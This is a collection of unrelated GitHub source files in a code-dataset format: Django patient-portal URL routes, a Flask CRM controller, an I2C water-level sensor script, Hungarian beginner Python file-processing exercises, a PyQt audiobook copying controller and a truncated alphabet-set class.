__name__ == '__main__':\n # Running Flask Application\n app.run()","repo_name":"ShriyaBijam/Yo-script","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":5107,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"34832328887","text":"# @author - aishwarya\nfrom django.urls import path, re_path\nfrom . import views\napp_name = 'patient'\n\nurlpatterns = [\n re_path(r'^nextAppointment/(?P\\d+)/$', views.nextAppointment.as_view(), name='nextAppointment'),\n re_path(r'^insuranceClaimRequest/(?P(.*))/$', views.insuranceClaimRequest.as_view(), name='insuranceClaimRequest'),\n #re_path(r'^updateInsuranceClaimRequest/(?P\\d+)/$', views.updateInsuranceClaimRequest.as_view(), name='updateInsuranceClaimRequest'),\n #re_path(r'^registerPolicy/(?P\\d+)/$', views.registerPolicy.as_view(), name='registerPolicy'),\n re_path(r'^declineTransaction/(?P\\d+)/$', views.declineTransaction.as_view(), name='declineTransaction'),\n re_path(r'^approveTransaction/(?P\\d+)/$', views.approveTransaction.as_view(), name='approveTransaction'),\n re_path(r'^patientPayment/(?P\\d+)/$', views.patientPayment.as_view(), name='patientPayment'),\n \n # re_path(r'^patientPayment/(?P\\d+)/$', views.patientPayment.as_view(), name='patientPayment'),\n re_path(r'^logout/(?P(.*))$', views.logout_user),\n re_path(r'^home/(?P(.*))$', views.patientHome.as_view(), name='patientHome'),\n re_path(r'^requestLabTests/(?P(.*))$', views.requestLabTests.as_view(), name='requestLabTests'),\n re_path(r'^viewRecords/(?P(.*))$', views.viewRecords.as_view(), name='viewRecords'),\n re_path(r'^updateAppointment/(?P(.*))/(?P(.*))$', views.updateAppointment.as_view(), name='updateAppointment'),\n re_path(r'^updateInsuranceClaimRequest/(?P(.*))/(?P(.*))$', views.updateInsuranceClaimRequest.as_view(), name='updateInsuranceClaimRequest'),\n\n re_path(r'^cancelAppointment/(?P(.*))/(?P(.*))$', views.cancelAppointment.as_view(), name='cancelAppointment'),\n re_path(r'^viewPrescription/(?P(.*))/(?P(.*))$', views.viewPrescription.as_view(), name='viewPrescription'),\n re_path(r'^profileUpdateRequest/(?P(.*))$', views.profileUpdateRequest.as_view(), name='profileUpdateRequest'),\n re_path(r'^contactHelp/(?P(.*))$', views.contactHelp.as_view(), name='contactHelp'),\n re_path(r'^bookAppointment/(?P(.*))$', views.bookAppointment.as_view(), name='bookAppointment'),\n re_path(r'^registerPolicy/(?P(.*))/(?P(.*))$', views.registerPolicy.as_view(), name='registerPolicy'),\n #re_path(r'^updateInsuranceClaimRequest/(?P(.*))/(?P(.*))$', views.updateInsuranceClaimRequest.as_view(), name='updateInsuranceClaimRequest'),\n\n\n\n]","repo_name":"Sritej26/SHS","sub_path":"Patients/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":2514,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"72064391414","text":"from flask_app import app\nfrom flask import render_template, redirect, request, session, flash, url_for\nfrom flask_app.models.user import User\nfrom flask_app.models.company import Company\nfrom flask_app.models.notes import Note\nimport pandas as pd\nimport os\nfrom flask_bcrypt import Bcrypt\nbcrypt = Bcrypt(app)\n\nUPLOAD_FOLDER = 'uploads'\napp.config['UPLOAD_FOLDER'] = UPLOAD_FOLDER\n\n\n\n@app.route('/') #Route to landing page\ndef home():\n return render_template('landing.html')\n@app.route('/dashboard') #Only accessed once a user is logged in.\ndef dashboard():\n user_id = session.get('user_id')\n if user_id is not None:\n return render_template('index.html', user_id=user_id)\n else:\n return redirect('/login')\n@app.route('/login', methods=['GET', 'POST']) #Login Hidden Route\ndef login():\n if request.method == 'POST':\n data = { 'email' : request.form['email']}\n user_in_db = User.get_email(data)\n if not user_in_db:\n flash(\"Invalid Email/Password. Please try again.\")\n elif not bcrypt.check_password_hash(user_in_db.password, request.form['password']):\n flash(\"Invalid Email/Password. Please try again.\")\n else:\n session['user_id'] = user_in_db.id\n session['first_name'] = user_in_db.first_name\n return redirect('/dashboard')\n return render_template('login.html')\n\n@app.route('/create_user') #Route to create user form\ndef register():\n return render_template('create_user.html')\n\n@app.route('/registration/process', methods=['POST']) #Create User Hidden Route\ndef registered():\n is_valid = User.validate_user(request.form)\n if not is_valid:\n return redirect('/')\n pw_hash = bcrypt.generate_password_hash(request.form['password'])\n data = {\n \"first_name\": request.form[\"first_name\"],\n \"last_name\": request.form[\"last_name\"],\n \"role\": request.form[\"role\"],\n \"email\": request.form[\"email\"],\n \"password\": pw_hash,\n \"confirm_password\": request.form[\"confirm_password\"]\n }\n User.save(data)\n return redirect(\"/\")\n\n@app.route(\"/customers\") #Route for \"My Customers\" page\ndef all_user_customers(): #This function gets all customers that were created by the user that is currently logged in via session.\n user_id = session.get('user_id')\n if user_id is not None:\n companies = Company.get_user_companies(user_id)\n return render_template('my-customers.html', companies=companies)\n else:\n return redirect('/login')\n@app.route(\"/customer_report\")\ndef create_customer_report():\n user_id = session.get('user_id')\n if user_id is not None:\n customers = Company.get_user_companies(user_id)\n return render_template('customer_report.html',customers=customers)\n else: \n return redirect('login')\nfrom flask import make_response\n@app.route(\"/download_csv\")\ndef download_csv():\n user_id = session.get('user_id')\n if user_id is not None:\n companies = Company.get_user_companies(user_id)\n csv_data = \"Company Name, Company Details\\n\"\n for company in companies:\n csv_data += f'\"{company.company_name}\", \"{company.physical_address}\"\\n'\n response = make_response(csv_data)\n response.headers['Content-Type'] = 'text/csv'\n response.headers['Content-Disposition'] = 'attachment; filename=my-customers.csv'\n return response\n else:\n return redirect('/login')\n# @app.route('/csv', methods=['GET', 'POST']) #Route for CSV Upload and POST route for processing CSV\n# def upload_csv():\n# if 'file' not in request.files:\n# return \"No file part\"\n# file = request.files['file']\n# if file.filename == '':\n# return \"No selected file\"\n# if file:\n# filename = os.path.join(app.config['UPLOAD_FOLDER'], file.filename)\n# file.save(filename)\n# df = pd.read_csv(filename)\n# html_table = df.to_html(classes='table table-striped', escape=False, index=False)\n# return render_template('index.html', html_table=html_table)\n@app.route(\"/new/company\") #This displays a form for adding a company\ndef creating_company():\n return render_template(\"company_creation.html\")\n@app.route(\"/new/company/create\", methods=['POST']) #Hidden Route\ndef company_submission(): #Function for creating a company\n if \"user_id\" not in session: #If user is not validated via session, they are redirected to login\n return redirect('/login')\n if not Company.validate_company(request.form):\n return redirect('/new/company')\n user_id=session[\"user_id\"]\n session[\"company_name\"]= request.form[\"company_name\"]\n session[\"physical_address\"]= request.form[\"physical_address\"]\n session[\"phone_number\"]= request.form[\"phone_number\"]\n data = {\n \"company_name\": request.form[\"company_name\"],\n \"physical_address\": request.form[\"physical_address\"],\n \"phone_number\": request.form[\"phone_number\"],\n \"user_id\": user_id\n }\n Company.create_company(data)\n return redirect(\"/dashboard\")\n@app.route('/edit/') #Route to edit company \ndef edit_company(id): #Function that will reroute user if not logged in, this will edit the company\n if \"user_id\" not in session:\n return redirect('/')\n single_company=Company.get_one(id)\n return render_template(\"edit_post.html\", single_company= single_company,id=id)\n@app.route('/edit//finalize', methods=[\"POST\"]) #Hidden route for editing the company\ndef finalize_edit(id):\n if not Company.validate_post(request.form):\n return redirect('/edit/')\n data = {\n \"company_name\": request.form[\"company_name\"],\n \"physical_address\": request.form[\"physical_address\"],\n \"phone_number\": request.form[\"phone_number\"],\n \"id\": id\n }\n Company.edit_company(data)\n return redirect('/index')\n@app.route('/company/delete/') #Route for deleting company\ndef delete(id):\n if \"user_id\" not in session:\n return redirect(url_for('login'))\n Company.delete(id)\n return redirect('/')\n@app.route('/notes/')\ndef user_notes(user_id):\n user = User.users_notes(user_id)\n if user:\n return render_template(\"user_notes.html\", user=user)\n else:\n return \"User not found\", 404\n@app.route('/new/note')\ndef note_form():\n company_id = request.args.get(\"company_id\")\n company_name = request.args.get(\"company_name\")\n return render_template('notes.html',company_id=company_id,company_name=company_name)\n@app.route(\"/new/note/create\", methods=['POST'])\ndef create_note():\n if not Note.validate_note(request.form):\n return redirect('/')\n if \"user_id\" not in session:\n return redirect(url_for('login'))\n company_id = request.form[\"company_id\"]\n data = {\n \"note\": request.form[\"note\"],\n \"date\": request.form[\"date\"],\n \"user_id\": session[\"user_id\"],\n \"company_id\": company_id,\n }\n Note.create_note(data)\n return redirect(\"/notes\")\n\n@app.route('/logout') #Will log the user out\ndef logging_out():\n session.clear()\n return redirect('/')\nif __name__==\"__main__\": # Ensure this file is being run directly and not from a different module \n app.run(debug=True) # Run the app in debug mode.\n\n","repo_name":"Jacob-Pritchett1/CRM_Stage3","sub_path":"flask_app/controllers/users.py","file_name":"users.py","file_ext":"py","file_size_in_byte":7283,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"11082800392","text":"# Waterlevel measurement with Milone eTape and Grove 12 bits ADC\n# This code is tested with Grove - I2C ADC based on ADC121C021\n# Code based on github.com/ControlEverythingCommunity/ADC121C021\n\nimport smbus\nimport time\n\n# Get I2C bus\nbus = smbus.SMBus(1)\n\n# ADC121C021 address, 0x50(80)\n# Select configuration register, 0x02(02)\n# Automatic conversion mode enabled, 0x20(32) \nbus.write_byte_data(0x50, 0x02, 0x20)\n\ntime.sleep(0.5)\n\ndef readLevel():\n # ADC121C021 address, 0x50(80)\n # Read data back from 0x00(00), 2 bytes\n # raw_adc MSB, raw_adc LSB\n data = bus.read_i2c_block_data(0x50, 0x00, 2)\n # Convert the data to 12-bits\n raw_adc = (data[0] & 0x0F) * 256 + data[1]\n # Subtract 0 value and divide by delta raw_adc per millimeter\n waterlevel = (raw_adc - 1064.0) / 2.825\n return (waterlevel)\n\ndef main():\n while True:\n # Output data to screen\n print (\"Water level : \" + str(readLevel()) + \" mm.\")\n time.sleep(1)\n \nif __name__==\"__main__\":\n main()","repo_name":"sensemakersamsterdam/astroplant_explorer","sub_path":"learning_stuff/miscellaneous/eTape.py","file_name":"eTape.py","file_ext":"py","file_size_in_byte":1003,"program_lang":"python","lang":"en","doc_type":"code","stars":9,"dataset":"github-code","pt":"21"} +{"seq_id":"16309201483","text":"from math import *\r\nimport sys\r\ndef fel_1(a):\r\n szam=a\r\n db=0\r\n for i in range(1,a+1):\r\n if a%i==0:\r\n db+=1\r\n if db==4:\r\n return True\r\n else:\r\n return False\r\n\r\ndef fel_2(n):\r\n db=0\r\n i=0\r\n while db!=n:\r\n if i==2:\r\n db+=1\r\n elif i%2==1:\r\n xdb=0\r\n for j in range(1,i+1):\r\n if i%j==0:\r\n xdb+=1\r\n if xdb==2:\r\n db+=1\r\n i+=1\r\n print(i-1)\r\n\r\ndef fel_3(x):\r\n for i in range(x):\r\n if 2**i >=x:\r\n return 2**i\r\n\r\ndef fel_4():\r\n for i in range(100,1000):\r\n lst=[]\r\n for j in str(i):\r\n lst.append(j)\r\n a=lst[0]\r\n b=lst[1]\r\n c=lst[2]\r\n #print(lst)\r\n\r\n if a!=b and a!=c and b!=c:\r\n print (i)\r\n\r\ndef fel_5(n):\r\n lst=[]\r\n for i in range(1,n+1):\r\n db=0\r\n for j in range(1,i+1):\r\n if i%j==0:\r\n db+=1\r\n lst.append(db)\r\n #print(lst)\r\n legN =0\r\n hanyadik=0\r\n for x in lst:\r\n hanyadik+=1\r\n if x>legN:\r\n legN=x\r\n #print(legN)\r\n print(hanyadik)\r\n\r\ndef fel_6():\r\n a=input(\"szam1: \")\r\n b=input(\"szam2: \")\r\n lst=[]\r\n lstA=[]\r\n lstB=[]\r\n for i in range(len(a)):\r\n lstA.append(a[i])\r\n for j in range(len(b)):\r\n lstB.append(b[j])\r\n db=0\r\n for x in lstA:\r\n for y in lstB:\r\n if x==y:\r\n lst.append(x)\r\n break\r\n szamj = [0,1,2,3,4,5,6,7,8,9]\r\n for k in szamj:\r\n for l in lst:\r\n if int(l)==int(k) :\r\n db+=1\r\n break\r\n if db>1:\r\n print(\"eszek a számok rokonok\")\r\n\r\ndef fel_7():\r\n a = input(\"szam1: \")\r\n b = input(\"szam2: \")\r\n lst = []\r\n lstA = []\r\n lstB = []\r\n for i in range(len(a)):\r\n lstA.append(a[i])\r\n for j in range(len(b)):\r\n lstB.append(b[j])\r\n db = 0\r\n for x in lstA:\r\n for y in lstB:\r\n if x == y:\r\n lst.append(x)\r\n break\r\n szamj = [0, 1, 2, 3, 4, 5, 6, 7, 8, 9]\r\n for k in szamj:\r\n for l in lst:\r\n if int(l) == int(k):\r\n db += 1\r\n break\r\n print(\"szam1: {}, szam2:{}\".format(lstA,lstB))\r\n if db > 0:\r\n print(\"eszek a számok barátok\")\r\n\r\ndef fel_8(n):\r\n db=0\r\n osszeg=0\r\n for i in range(1,n):\r\n osszeg+=i\r\n db+=1\r\n if osszeg>=n:\r\n print(db)\r\n break\r\n\r\ndef fel_9():\r\n paszuj=1\r\n perc=0\r\n i=2\r\n while paszuj!=300:\r\n paszuj+=paszuj/i\r\n i+=1\r\n perc+=1\r\n print(perc)\r\n\r\ndef konverzio(n,p,x): #(szám,számrendszer,hatvány)\r\n if n==0:\r\n return 0\r\n else:\r\n x+=1\r\n print((p**x)*(n%10))\r\n return konverzio(n//10,p,x) +(p**x)*(n%10)\r\n\r\ndef fel_10():\r\n try:\r\n fajl=open(\"be.txt\",mode=\"r\")\r\n max=0\r\n\r\n for sor in fajl:\r\n db = 0\r\n list = sor.split(\" \")\r\n for szo in list:\r\n if szo[0].isupper():\r\n for i in sor:\r\n db += 1\r\n break\r\n if max=int(szamok[-1]):\r\n fajlk.write(\"Tartalmaz\")\r\n break\r\n except FileExistsError:\r\n print(\"nem létezik a fájl\")\r\n except Exception as e:\r\n print(\"Valami van\", e)\r\n finally:\r\n fajl.close\r\n fajlk.close\r\n\r\ndef fel_13():\r\n try:\r\n fajl=open(\"be.txt\",mode=\"r\")\r\n fajlk=open(\"ki.txt\",mode=\"w\")\r\n szamok=[]\r\n for szam in fajl:\r\n szamok=szam.split(\",\")\r\n print(szamok[-1])\r\n x=0\r\n for l in szamok:\r\n x+=1\r\n db = 0\r\n for i in range(x-1):\r\n\r\n\r\n\r\n if abs(int(szamok[i])-int(szamok[i+1]))>(int(szamok[-1])):\r\n db+=1\r\n\r\n fajlk.write(\"{}\".format(db))\r\n\r\n except FileExistsError:\r\n print(\"nem létezik a fájl\")\r\n except Exception as e:\r\n print(\"Valami van\", e)\r\n finally:\r\n fajl.close\r\n fajlk.close\r\n\r\ndef fel_14():\r\n try:\r\n fajl=open(\"be.txt\",mode=\"r\")\r\n fajlk=open(\"ki.txt\",mode=\"w\")\r\n sorok=[]\r\n\r\n for x in fajl:\r\n x=x.strip()\r\n sorok.append(x)\r\n for b in sorok:\r\n a = \"\"\r\n\r\n x=0\r\n for i in range(int(len(b)/2)):\r\n\r\n\r\n\r\n for j in range(int(len(b) / 2)+x,int(len(b))):\r\n\r\n #print(i, j)\r\n if b[i]!=b[j]:\r\n a=\"\"\r\n i=0\r\n x+=1\r\n if b[i]==b[j]:\r\n a+=(b[j])\r\n x+=1\r\n i+=1\r\n print(a)\r\n hossz=len(a)\r\n fajlk.write(\"{}\\n\".format(hossz))\r\n except FileExistsError:\r\n print(\"nem létezik a fájl\")\r\n except Exception as e:\r\n print(\"Valami van\", e)\r\n finally:\r\n fajl.close\r\n fajlk.close\r\n\r\ndef fel_15():\r\n try:\r\n fajl=open(\"be.txt\",mode=\"r\")\r\n fajlk=open(\"ki.txt\",mode=\"w\")\r\n x=[]\r\n\r\n for sor in fajl:\r\n sor=sor.strip()\r\n if sor==\"\":\r\n break\r\n else:\r\n x.append(sor)\r\n for i in x:\r\n fajlk.write(\"{}\\n\".format(i))\r\n\r\n\r\n\r\n except FileExistsError:\r\n print(\"nem létezik a fájl\")\r\n except Exception as e:\r\n print(\"Valami van\", e)\r\n finally:\r\n fajl.close\r\n fajlk.close\r\n\r\ndef fel_16():\r\n try:\r\n fajl=open(\"be.txt\",mode=\"r\")\r\n fajlk=open(\"ki.txt\",mode=\"w\")\r\n x = []\r\n\r\n for sor in fajl:\r\n sor = sor.strip()\r\n for i in range(len(sor)):\r\n\r\n if not sor.isupper():\r\n break\r\n else:\r\n x.append(sor)\r\n for i in x:\r\n fajlk.write(\"{}\\n\".format(i))\r\n\r\n\r\n\r\n except FileExistsError:\r\n print(\"nem létezik a fájl\")\r\n except Exception as e:\r\n print(\"Valami van\", e)\r\n finally:\r\n fajl.close\r\n fajlk.close\r\n\r\ndef fel_17():\r\n try:\r\n fajl=open(\"be.txt\",mode=\"r\")\r\n fajlk=open(\"ki.txt\",mode=\"w\")\r\n\r\n for sor in fajl:\r\n sor=sor.strip()\r\n szavak=sor.split(\" \")\r\n for kis in szavak:\r\n if kis.islower():\r\n fajlk.write(\"{}\".format(sor))\r\n return\r\n\r\n except FileExistsError:\r\n print(\"nem létezik a fájl\")\r\n except Exception as e:\r\n print(\"Valami van\", e)\r\n finally:\r\n fajl.close\r\n fajlk.close\r\n\r\ndef fel_18():\r\n try:\r\n fajl=open(\"be.txt\",mode=\"r\")\r\n fajlk=open(\"ki.txt\",mode=\"w\")\r\n csapat=[]\r\n eredmenyek=[0,0]\r\n for sor in fajl:\r\n sor=sor.strip()\r\n szavak=sor.split(\" \")\r\n felek=szavak[0].split(\"-\")\r\n pont=szavak[1].split(\":\")\r\n for i in felek:\r\n if i not in csapat:\r\n csapat.append(i)\r\n\r\n\r\n if felek[0]==csapat[0]:\r\n eredmenyek[0] += int(pont[0])\r\n if felek[1] == csapat[1]:\r\n eredmenyek[1] += int(pont[1])\r\n if felek[0] == csapat[1]:\r\n eredmenyek[1] += int(pont[0])\r\n if felek[1] == csapat[0]:\r\n eredmenyek[0] += int(pont[1])\r\n if eredmenyek[0]>eredmenyek[1]:\r\n fajlk.write(\"{} nyert\".format(csapat[0]))\r\n elif eredmenyek[0]max:\r\n max=int(vendeg[sok])\r\n hanyas=sok\r\n print(max,hanyas)\r\n fajlk.write(\"{} latogattak a legtobben\".format(honlap[hanyas]))\r\n\r\n except FileExistsError:\r\n print(\"nem létezik a fájl\")\r\n except Exception as e:\r\n print(\"Valami van\", e)\r\n finally:\r\n fajl.close\r\n fajlk.close\r\n\r\ndef fel_20():\r\n try:\r\n fajl=open(\"be.txt\",encoding=\"utf-8\",mode=\"r\")\r\n fajlk=open(\"ki.txt\",encoding=\"utf-8\",mode=\"w\")\r\n varos=[]\r\n orszag=[]\r\n lakos=[]\r\n for sor in fajl:\r\n sor=sor.strip()\r\n adat=sor.split(\";\")\r\n varos.append(adat[0])\r\n orszag.append(adat[1])\r\n lakos.append(adat[2])\r\n for i in range(len(lakos)):\r\n if lakos[i]==max(lakos):\r\n fajlk.write(\"{} lakják a legtöbben\".format(varos[i]))\r\n\r\n except FileExistsError:\r\n print(\"nem létezik a fájl\")\r\n except Exception as e:\r\n print(\"Valami van\", e)\r\n finally:\r\n fajl.close\r\n fajlk.close\r\n\r\ndef fel_21():\r\n try:\r\n fajl = open(\"be.txt\", mode=\"r\")\r\n fajlk = open(\"ki.txt\", mode=\"w\")\r\n for sor in fajl:\r\n adat=sor.split(\";\")\r\n sum=0\r\n for i in range(1,len(adat)):\r\n sum+=int(adat[i])\r\n fajlk.write(\"{} pontjai: {}\\n\".format(adat[0],sum))\r\n\r\n except FileExistsError:\r\n print(\"nem létezik a fájl\")\r\n except Exception as e:\r\n print(\"Valami van\", e)\r\n finally:\r\n fajl.close\r\n fajlk.close\r\n\r\ndef fel_22():\r\n try:\r\n fajl = open(\"be.txt\", mode=\"r\")\r\n fajlk = open(\"ki.txt\", mode=\"w\")\r\n nev=[]\r\n ido=[]\r\n for sor in fajl:\r\n adat=sor.split(\";\")\r\n nev.append(adat[0])\r\n ido.append(adat[2])\r\n for i in range(len(ido)):\r\n if ido[i] == min(ido):\r\n fajlk.write(\"A leggyorsabb versenyzo, a gyoztes: {}\".format(nev[i]))\r\n\r\n\r\n except FileExistsError:\r\n print(\"nem létezik a fájl\")\r\n except Exception as e:\r\n print(\"Valami van\", e)\r\n finally:\r\n fajl.close\r\n fajlk.close\r\n\r\ndef fel_23():\r\n try:\r\n fajl = open(\"be.txt\", mode=\"r\")\r\n fajlk = open(\"ki.txt\", mode=\"w\")\r\n mp=[]\r\n cm=[]\r\n for sor in fajl:\r\n sor=sor.strip()\r\n adat=sor.split(\" \")\r\n mp.append(adat[0])\r\n cm.append(adat[1])\r\n x=0\r\n for i in range(1,len(mp)):\r\n print(cm[x],cm[i])\r\n if int(cm[x])>int(cm[i]):\r\n fajlk.write(\"NO\")\r\n print(x)\r\n return\r\n x+=1\r\n\r\n fajlk.write(\"YES\")\r\n except FileExistsError:\r\n print(\"nem létezik a fájl\")\r\n except Exception as e:\r\n print(\"Valami van\", e)\r\n finally:\r\n fajl.close\r\n fajlk.close\r\n\r\ndef fel_24():\r\n try:\r\n fajl = open(\"be.txt\", mode=\"r\")\r\n fajlk = open(\"ki.txt\", mode=\"w\")\r\n tcm=0\r\n cscm=0\r\n sorok=[]\r\n for sor in fajl:\r\n sor=sor.strip()\r\n sorok.append(sor)\r\n\r\n teki=sorok[1].split(\" \")\r\n csiga=sorok[2].split(\" \")\r\n\r\n for cm in teki:\r\n tcm+=int(cm)\r\n for ccm in csiga:\r\n cscm+=int(ccm)\r\n\r\n if tcm>cscm:\r\n fajlk.write(\"{}\\nTURTLE\".format(2*tcm))\r\n elif cscm>tcm:\r\n fajlk.write(\"{}\\nSNAIL\".format(2*cscm))\r\n else:\r\n fajlk.write(\"{}\\nDRAW\".format(tcm+tcm))\r\n\r\n except FileExistsError:\r\n print(\"nem létezik a fájl\")\r\n except Exception as e:\r\n print(\"Valami van\", e)\r\n finally:\r\n fajl.close\r\n fajlk.close\r\n\r\ndef fel_25():\r\n try:\r\n fajl = open(\"be.txt\", mode=\"r\")\r\n fajlk = open(\"ki.txt\", mode=\"w\")\r\n sorok=[]\r\n for sor in fajl:\r\n sor=sor.strip()\r\n sorok.append(sor)\r\n A=[]\r\n M=[]\r\n for i in range(1,int(sorok[0])+1):\r\n szo=sorok[i].split(\":\")\r\n A.append(szo[0])\r\n M.append(szo[1])\r\n\r\n Adb=0\r\n Ax=[]\r\n for a in A:\r\n if a not in Ax:\r\n Adb+=1\r\n Ax.append(a)\r\n Mx=[]\r\n Mdb=0\r\n for m in M:\r\n if m not in Mx:\r\n Mdb+=1\r\n Mx.append(m)\r\n\r\n fajlk.write(\"{}\\n{}\".format(Adb,Mdb))\r\n except FileExistsError:\r\n print(\"nem létezik a fájl\")\r\n except Exception as e:\r\n print(\"Valami van\", e)\r\n finally:\r\n fajl.close\r\n fajlk.close\r\n\r\ndef fel_26():\r\n try:\r\n fajl1 = open(sys.argv[1], mode=\"r\")\r\n fajl2 = open(sys.argv[2], mode=\"r\")\r\n fajlk = open(\"ki.txt\", mode=\"w\")\r\n sorok1=[]\r\n sorok2 = []\r\n for sor in fajl1:\r\n sor=sor.strip()\r\n sorok1.append(sor)\r\n for sor in fajl2:\r\n sor=sor.strip()\r\n sorok2.append(sor)\r\n print(sorok1,sorok2)\r\n mas=[]\r\n for i in sorok1:\r\n if i not in sorok2:\r\n mas.append(i)\r\n dbe=0\r\n dbk=0\r\n for e in sorok1:\r\n dbe+=1\r\n for k in sorok2:\r\n dbk+=1\r\n\r\n fajlk.write(\"{} {}\\n\".format(dbe,dbk))\r\n for m in mas:\r\n fajlk.write(\"{}\\n\".format(m))\r\n\r\n except FileExistsError:\r\n print(\"nem létezik a fájl\")\r\n except Exception as e:\r\n print(\"Valami van\", e)\r\n finally:\r\n fajl1.close\r\n fajl2.close\r\n fajlk.close\r\n\r\ndef fel_27():\r\n try:\r\n fajl = open(sys.argv[3], mode=\"r\")\r\n fajlk = open(\"ki.txt\", mode=\"w\")\r\n cim=[]\r\n iro=[]\r\n db=[]\r\n for sor in fajl:\r\n sor=sor.strip()\r\n adatok=sor.split(\":\")\r\n cim.append(adatok[0])\r\n iro.append(adatok[1])\r\n\r\n for x in iro:\r\n d = 0\r\n idb=x.split(\",\")\r\n for y in idb:\r\n d+=1\r\n db.append(d)\r\n\r\n for minimum in range(len(db)) :\r\n if db[minimum]==min(db):\r\n fajlk.write(\"{}\\n\".format(cim[minimum]))\r\n \r\n except FileExistsError:\r\n print(\"nem létezik a fájl\")\r\n except Exception as e:\r\n print(\"Valami van\", e)\r\n finally:\r\n fajl.close\r\n fajlk.close\r\ndef main():\r\n # print(fel_1(8))\r\n # fel_2(5)\r\n # print(fel_3(513))\r\n #fel_4()\r\n #fel_5(15)\r\n #fel_6()\r\n #fel_7()\r\n #fel_8(100)\r\n #fel_9()\r\n #print(konverzio(1101, 2, -1))\r\n #fel_10()\r\n #fel_11()\r\n #fel_12()\r\n #fel_13()\r\n #fel_14()\r\n #fel_15()\r\n #fel_16()\r\n #fel_17()\r\n #fel_18()\r\n #fel_19()\r\n #fel_20()\r\n #fel_21()\r\n #fel_22()\r\n #fel_23()\r\n #fel_24()\r\n #fel_25()\r\n #fel_26()\r\n fel_27()\r\nmain()","repo_name":"bartikzsombi/HaziFeladat","sub_path":"Feladat2.py","file_name":"Feladat2.py","file_ext":"py","file_size_in_byte":16684,"program_lang":"python","lang":"hu","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"13068542174","text":"# -*- coding: utf-8 -*-\n# audiogui/app.py\n\n\"\"\"This module provides the audiogui application.\"\"\"\n\nimport sys\nfrom .utils import copy\nfrom functools import partial\nfrom PyQt6.QtWidgets import QApplication\nfrom .view import Window\nfrom .model import Model, Status, ErrorCodes\n\ndef main():\n app = QApplication(sys.argv)\n win = Window()\n mod = Model()\n con = Controller(model=mod, view=win)\n win.show()\n sys.exit(app.exec())\n\n\nclass Controller():\n\n def __init__(self, model, view):\n self._m = model\n self._v = view\n self._setSlots()\n self._load() \n\n def _load(self):\n \"\"\" Load book list and show it in the view\"\"\"\n\n #load source books\n if (self._m.getBooks(self._m.srcPath, self._m.srcBooks)):\n self._v.setStatusMessage(\"Permission Error: could not access all files at Source\", 3000)\n \n #load dest book\n status_code = self._m.getBooks(self._m.dstPath, self._m.dstBooks)\n if ( status_code == ErrorCodes.permission_error):\n self._v.setStatusMessage(\"Permission Error: could not access all files at Destination\", 3000)\n if ( status_code == ErrorCodes.file_not_found):\n self._v.setStatusMessage(\"File Not Found Error: could not access all files at Destination\", 3000)\n\n self._m.compareBooks()\n self._v.showBooks(self._m.srcBooks)\n self._v.setSrcLine(self._m.getPathStr())\n self._v.setDestLine(self._m.getPathStr(1))\n\n def copy(self):\n \"\"\" Copy selected items to destination Path\"\"\"\n length = len(self._m.selected)\n if (length != 0):\n self._v.createProgressBar(length)\n for n, book in enumerate(self._m.selected):\n # copy(self._m.srcPath, self._m.dstPath, book)\n self._v.updateProgressBar(n, f\"{n}/{length}\")\n # After Loop, update progress bar values\n #TODO remove statusbar 5 seconds after transfer is completed\n self._v.updateProgressBar(length, f\"{length}/{length}\")\n self._v.killProgressBar(2)\n else:\n self._v.setStatusMessage('nothing selected...', 2000)\n \n\n def _updateDir(self, isDest=False):\n \"\"\" select active directory, and reload the window\"\"\"\n dirName = self._v.selectDir(\n \"select destination folder\" if isDest else \"select source folder\",\n self._m.dstPath if isDest else self._m.srcPath\n )\n self._m.setPathStr(dirName, isDest)\n self._load()\n\n def clearSelected(self):\n self._v.toUpload.clear()\n self._m.selected.clear()\n\n def _updateUploadList(self):\n \"\"\" change upload list to match values in _v.selected\"\"\"\n self.clearSelected()\n s = self._v.table.getSelected().selectedRows()\n for i in s:\n if self._m.srcBooks[i.row()]['status'] == Status.sourceonly:\n self._m.addSelected(i.row())\n for i in self._m.selected:\n self._v.toUpload.addItem(i['title'])\n\n def _upload(self):\n \"\"\" on upload button push\"\"\"\n self.copy()\n self._updateUploadList()\n print('upload action called')\n self._load()\n\n def _setSlots(self):\n \"\"\" Setup slots and signals\"\"\"\n self._v.setSrcButton.clicked.connect(\n self._updateDir\n )\n self._v.setDestButton.clicked.connect(\n partial(self._updateDir, True)\n )\n\n self._v.uploadButton.clicked.connect(\n self._upload\n )\n \n self._v.clearButton.clicked.connect(\n self.clearSelected\n )\n\n self._v.table.getSelected().selectionChanged.connect(\n self._updateUploadList\n )\n\n","repo_name":"erinep/auidoGui","sub_path":"audiogui/app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":3730,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"7598849586","text":"# coding=utf-8\nclass Alphabet:\n name = None,\n members = None\n\n def __init__(self, name=\"unlabeled\", members=None):\n # type: (object, object) -> object\n if members is None:\n members = set()\n self.members = members\n self.name = name\n\n\nvocals = Alphabet(\"vocals\", {\"a\", \"e\", \"i\", \"o\", \"u\", \"A\", \"E\", \"I\", \"O\", \"U\"})\n\nstandard_alphabet = Alphabet(\"standard\",\n {\"a\", \"A\", \"b\", \"B\", \"c\", \"C\", \"d\", \"D\", \"e\", \"E\", \"f\", \"F\", \"g\", \"G\", \"h\", \"H\", \"i\",\n \"I\", \"j\", \"J\", \"k\", \"K\", \"l\", \"L\", \"m\", \"M\", \"n\", \"N\", \"o\", \"O\", \"p\", \"P\", \"q\", \"Q\", \"r\",\n \"R\", \"s\", \"S\", \"t\", \"T\", \"u\", \"U\", \"v\", \"V\", \"w\", \"W\", \"x\", \"X\", \"y\", \"Y\", \"z\", \"Z\"})\n\nconsonants = Alphabet(\"consonants\", standard_alphabet.members - vocals.members)\n\nlowercase_alphabet = Alphabet(\"lowercase\",\n {\"a\", \"b\", \"c\", \"d\", \"e\", \"f\", \"g\", \"h\", \"i\", \"j\", \"k\", \"l\", \"m\", \"n\", \"o\", \"p\", \"q\", \"r\",\n \"s\",\n \"t\", \"u\", \"v\", \"w\", \"x\", \"y\", \"z\"})\n\nuppercase_alphabet 